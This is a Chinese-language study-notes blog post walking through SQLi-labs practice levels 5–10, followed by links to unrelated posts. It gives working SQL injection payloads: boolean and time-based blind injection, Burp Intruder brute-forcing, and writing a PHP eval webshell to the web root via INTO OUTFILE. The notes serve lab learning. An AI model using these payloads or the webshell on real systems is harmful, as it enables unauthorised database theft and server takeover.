逼话少说,如有错误,烦请指出,谢谢

这两天生病,效率很低

第5关

打开页面

发现跟前几题不同,没有直接返回数据.。

加个单引号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

报错信息发现已经被闭合了,那我们就order by 试一下看看

发现能有成功查询会返回 You are in ,而不会返回查询的数据,这题是一题盲注题

盲注就需要我们一个一个的猜字符了,

先构造注入语句

http://10.2.10.31/sqli/Less-5/?id=1' and
ascii(substr(database(),1,1)) > 10 --+

函数不懂的话可以使用搜索引擎查询

原理就是,获取当前的数据库的第一个字符,由于我们之前做了前几题,知道是s

所以我们直接用s来试,节约时间。

发现回显正常,换一个字符就没回显了,就说明s是第一个字符,以此类推获得整个数据库名。

再之后可以查询数据库中表的名称,方法也是一样,我贴一条

http://10.2.10.31/sqli/Less-5/?id=1' and
substr((select table_name from information_schema.tables where table_schema =
'security' limit 0,1),1,1) = 'e' --+

这样推,就可以把这题做出来。

当然,这样是最慢的方法,但是还是要掌握的。

我们可以使用bp的爆破模块来进行爆破。

首先先抓到我们需要的包

我这里就抓查询表的包了,之后把抓到的包发到爆破模块,intruder里面。

由于里面会默认选择爆破的信息,我们需要先点击clear。

选中要爆破的字符

再到payloads里面设置一下字典,这里我们可以选择他自带的字典。

并且修改字符最大值为1,最小值也为1

然后再到options里面设置一下线程。

最后点击start attack 就可以开始了

以此类推。

第五关结束。

第六关

第六关就是把单引号换成双引号,其他的都一样,没区别

第六关结束

第七关

测试注入

http://10.2.10.35/sqli/Less-7/?id=1'

报错,说明可能存在sql注入

继续测试,

当用1=2判断的时候,发现回显正常

最后测试,发现用http://10.2.10.35/sqli/Less-7/?id=1')) 可以成功闭合

之后提示要用outfile来写入文件

可以用第一关来帮助我们找到网站的绝对路径

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

http://10.2.10.35/sqli/Less-1/?id=-1'
union select 1,2,@@basedir --+

构造语句如下

http://10.2.10.35/sqli/Less-7/?id=-1'))
union select 1,'<?php @eval($_POST[value]);?>',3 into outfile
'D:/phpStudy/PHPTutorial/WWW/sqli/Less-7/d.php' --+

遇到写入不了的情况应该是mysq没有设置好

可以在mysql的命令行查看一下secure-file-priv当前的值

show variables like ‘%secure%’;

如果为Null

这则需要打开mysql下的my.ini文件,在其中添加上  secure_file_priv=”/”

之后使用菜刀就可以连接了。

第七关结束

第八关

测试注入点

http://10.2.10.35/sqli/Less-8/?id=1'

发现无回显

http://10.2.10.35/sqli/Less-8/?id=1'
--+

有回显

说明我们已经成功闭合了

就可以按照之前盲注的思路,接着注入就能得到答案

还有一种方法是通过if判断,利用sleep进行时间盲注

构造语句如下

http://10.2.10.35/sqli/Less-8/?id=1' and
if(length(database())>10,1,sleep(5)) 
--+

先判断长度,再用substr函数来判断每一位是什么,这里就不再赘述

第八关结束

第九关

换了一种方式

http://10.2.10.35/sqli/Less-9/?id=1' and sleep(5) --+

利用sleep判断是否执行了我们的sql语句

发现成功以后,还是按照之前的方法继续盲注,方法都一样

第九关结束

第十关

第十关就是把单引号换成了双引号,其他的都一样

第十关结束

SQLI-LABS学习笔记(二)的更多相关文章

  1. WPF的Binding学习笔记(二)

    原文: http://www.cnblogs.com/pasoraku/archive/2012/10/25/2738428.htmlWPF的Binding学习笔记(二) 上次学了点点Binding的 ...

  2. AJax 学习笔记二(onreadystatechange的作用)

    AJax 学习笔记二(onreadystatechange的作用) 当发送一个请求后,客户端无法确定什么时候会完成这个请求,所以需要用事件机制来捕获请求的状态XMLHttpRequest对象提供了on ...

  3. [Firefly引擎][学习笔记二][已完结]卡牌游戏开发模型的设计

    源地址:http://bbs.9miao.com/thread-44603-1-1.html 在此补充一下Socket的验证机制:socket登陆验证.会采用session会话超时的机制做心跳接口验证 ...

  4. JMX学习笔记(二)-Notification

    Notification通知,也可理解为消息,有通知,必然有发送通知的广播,JMX这里采用了一种订阅的方式,类似于观察者模式,注册一个观察者到广播里,当有通知时,广播通过调用观察者,逐一通知. 这里写 ...

  5. java之jvm学习笔记二(类装载器的体系结构)

    java的class只在需要的时候才内转载入内存,并由java虚拟机的执行引擎来执行,而执行引擎从总的来说主要的执行方式分为四种, 第一种,一次性解释代码,也就是当字节码转载到内存后,每次需要都会重新 ...

  6. Java IO学习笔记二

    Java IO学习笔记二 流的概念 在程序中所有的数据都是以流的方式进行传输或保存的,程序需要数据的时候要使用输入流读取数据,而当程序需要将一些数据保存起来的时候,就要使用输出流完成. 程序中的输入输 ...

  7. 《SQL必知必会》学习笔记二)

    <SQL必知必会>学习笔记(二) 咱们接着上一篇的内容继续.这一篇主要回顾子查询,联合查询,复制表这三类内容. 上一部分基本上都是简单的Select查询,即从单个数据库表中检索数据的单条语 ...

  8. NumPy学习笔记 二

    NumPy学习笔记 二 <NumPy学习笔记>系列将记录学习NumPy过程中的动手笔记,前期的参考书是<Python数据分析基础教程 NumPy学习指南>第二版.<数学分 ...

  9. Learning ROS for Robotics Programming Second Edition学习笔记(二) indigo tools

    中文译著已经出版,详情请参考:http://blog.csdn.net/ZhangRelay/article/category/6506865 Learning ROS for Robotics Pr ...

  10. Redis学习笔记二 (BitMap算法分析与BitCount语法)

    Redis学习笔记二 一.BitMap是什么 就是通过一个bit位来表示某个元素对应的值或者状态,其中的key就是对应元素本身.我们知道8个bit可以组成一个Byte,所以bitmap本身会极大的节省 ...

随机推荐

  1. MATLAB 图像打开保存

    一.图片读取保存 (1)读取 clear all [filename,pathname]=uigetfile({'*.jpg';'*.bmp';'*.gif'},'选择图片'); if isequal ...

  2. MATLAB GUI设计(1)

    一.新建GUI 1.命令行窗口输入 guide会出来如下界面,可以新建空白GUI,也可以打开已有GUI 2.通过工具栏新建 二.数据传递例子 1.添加输入框按钮,设置尺寸大小,内容,格式,标签 2.复 ...

  3. Python input和print函数

    一.input函数 可以看出,input()函数默认输入的是字符串类型,需要eval()函数将其进行转换. 区别直接赋值的情况,Python可以自动识别数据类型 二.print函数 1.直接输出 无论 ...

  4. Mob 之 短信验证集成 SMSSDK

    开相关发中总会遇到短信验证这些操作,这周没有来得及写新的东西,借此分享一篇以前学习短信验证的笔记,本文使用的是 Mob 提供的 SMSSDK . 下载 SMSSDK 官网下载地址:SMSSDK 集成 ...

  5. python基础学习-字符串常见操作

    字符串常见操作 索引 s = "abcdefg" # 字符串数据,切片后取出的数据都是字符串类型 # 从左至右取值:从0开始 # 从右向左取值:从-1开始 print(" ...

  6. vulnhub~DC-9

    首先对于整体的思路,网上有很多的教程,如果国内的不能满足建议‘fanqiang’,Google有很多大佬,各个部分都有详细的说明.但又由于每个人的环境都有所不同,所以会在同样的命令行执行后出现不同的错 ...

  7. PTA | 1012 数字分类 (20分)

    给定一系列正整数,请按要求对数字进行分类,并输出以下 5 个数字: A1 = 能被 5 整除的数字中所有偶数的和: A2 = 将被 5 除后余 1 的数字按给出顺序进行交错求和,即计算 n1−n2+n ...

  8. linux下shell脚本中sed命令的用法

    先来给一个案例: #将old.sql文件中的符号“|”替换为“,”,并保存到test.sql文件中 sed "s/|/,/g" "old.sql"> te ...

  9. 阿里云服务器扩展分区和文件系统_Linux数据盘

    官方文档永远是最好的 https://help.aliyun.com/document_detail/25452.html?spm=a2c4g.11186623.6.786.5fde4656Ln6AO ...

  10. 【python实现卷积神经网络】卷积层Conv2D反向传播过程

    代码来源:https://github.com/eriklindernoren/ML-From-Scratch 卷积神经网络中卷积层Conv2D(带stride.padding)的具体实现:https ...